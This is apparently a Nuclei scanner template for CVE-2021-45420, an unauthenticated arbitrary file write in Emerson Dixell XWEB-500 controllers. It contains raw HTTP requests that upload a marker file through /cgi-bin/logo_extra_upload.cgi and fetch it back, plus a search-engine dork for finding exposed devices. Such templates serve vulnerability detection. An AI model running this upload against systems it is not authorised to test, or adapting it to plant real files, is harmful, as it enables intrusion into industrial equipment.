41 lines
1.3 KiB
YAML
41 lines
1.3 KiB
YAML
id: dixell-xweb500-filewrite
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info:
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name: Emerson Dixell XWEB-500 - Arbitrary File Write
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author: hackerarpan
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severity: critical
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description: Emerson Dixell XWEB-500 products are affected by arbitrary file write vulnerabilities in /cgi-bin/logo_extra_upload.cgi, /cgi-bin/cal_save.cgi, and /cgi-bin/lo_utils.cgi. An attacker will be able to write any file on the target system without any kind of authentication mechanism, and this can lead to denial of service and potentially remote code execution. Note that this product has not been supported since 2018 and should be removed or replaced.
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reference:
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- https://www.exploit-db.com/exploits/50639
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- https://nvd.nist.gov/vuln/detail/CVE-2021-45420
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metadata:
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google-query: inurl:"xweb500.cgi"
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tags: lfw,iot,dixell,xweb500,edb,fileupload,intrusive
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requests:
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- raw:
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- |
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POST /cgi-bin/logo_extra_upload.cgi HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/octet-stream
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{{randstr}}.txt
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dixell-xweb500-filewrite
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- |
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GET /logo/{{randstr}}.txt HTTP/1.1
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Host: {{Hostname}}
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req-condition: true
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matchers-condition: and
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matchers:
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- type: dsl
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dsl:
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- 'contains(body_2, "dixell-xweb500-filewrite")'
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- type: status
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status:
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- 200
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# Enhanced by mp on 2022/06/01
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